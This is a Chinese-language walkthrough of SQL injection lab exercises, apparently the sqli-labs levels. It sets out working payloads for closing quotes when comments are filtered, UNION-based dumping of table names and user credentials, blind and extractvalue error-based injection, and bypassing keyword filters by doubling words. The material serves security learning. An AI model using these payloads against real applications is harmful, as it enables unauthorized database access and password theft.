id=1 正常 id=1' version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 id=1" 正常
试着闭合一下
id=1' or 1=1-- # 报错 id=1' or 1=1--+ 报错 id=1' or 1=1# 报错 id=1' or 1=1%23
显然注释符闭合不了
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
那么我们试着闭合一下
SELECT * FROM users WHERE id='1' order by 4 and '1'='1' LIMIT 0,1 1' order by 4 and '1'='1 或者 SELECT * FROM users WHERE id='1' order by '4' LIMIT 0,1 1' order by '4
请注意,这里的字段数为4是不正确的,因为我们知道,数据库里面的字段数是3.
那么这里并没有报错是因为什么原因呢
where 与 order by 都是子句,and是操作符,用于where子句中 在mysql执行的顺序中,where是远在order by 之前的 order by 在where 的条件中,在where执行时被忽略了,结果集生成后并未在执行order by
SELECT * FROM users WHERE id='1' union select 1,2,3,4 or '1'='1' LIMIT 0,1 1' union select 1,2,3,4 or '1'='1 或者 SELECT * FROM users WHERE id='1' union select 1,2,3,4 and '1'='1' LIMIT 0,1 1' union select 1,2,3,4 and '1'='1
爆库: -1' union select 1,database(),3 or '1'='1 爆表: -1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1 或者 -1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 and '1'='1 字段: -1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 or '1'='1 数据: -1' union select 1,(select group_concat(concat_ws('-',id,username,password)) from users),3 and '1'='1
但是这里注意在爆数据的时候，不能在使用and的时候直接查询，必须要用双子注入查询，否则会报错
select 1,group_concat(username),3 from users and '1'='1 from和and是不能连在一起用的）
但是也可以这样
-1' union select 1,group_concat(username),3 from users where 1 and '1'='1
盲注
这里盲注就得使用and，而不能使用or
1' and left(version(),1)=5 and '1'='1 1' and left(version(),1)=6 and '1'='1 and和or同时使用and的优先级高于or,哪怕不考虑优先级也不能使用or,因为 '1'='1'是永真条件，不管前面查询的条件时真假，到最后都会变成 真条件
extractvalue
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and '1'='1
1' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) or '1'='1 使用逻辑运算符or，按照正常推断该语句是不会报错的应该会正常回显，但结果报错了，说明是extractvalue搞的鬼，至于原理还不是很清楚，所以为了验证特意找了Less-12，看使用and和or是否有区别：
进阶闭合
select 1 等同于 select ‘1’
数据库: -1' union select 1,database(),'3 -1' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3 爆表 -1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3 字段: -1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'3 数据: -1' union select 1,(select group_concat(concat_ws('-',id,username,password)) from users),'3
1' oorrder by 4-- # Unknown column '4' in 'order clause' 1' oorrder by 3-- # 回显正常
查看回显字段位置
-1' union select 1,2,3-- # 回显2,3
爆数据库: -1' union select 1,database(),3-- # 爆表: -1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3-- # 爆字段: -1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'),3-- # 爆数据: -1' union select 1,(select group_concat(concat_ws('-',id,username,passwoorrd)) from users),3-- #
特别注意：这里的or和and作为了联合查询第二select个语句的条件而不是第一个select语句where的条件。
微信
支付宝
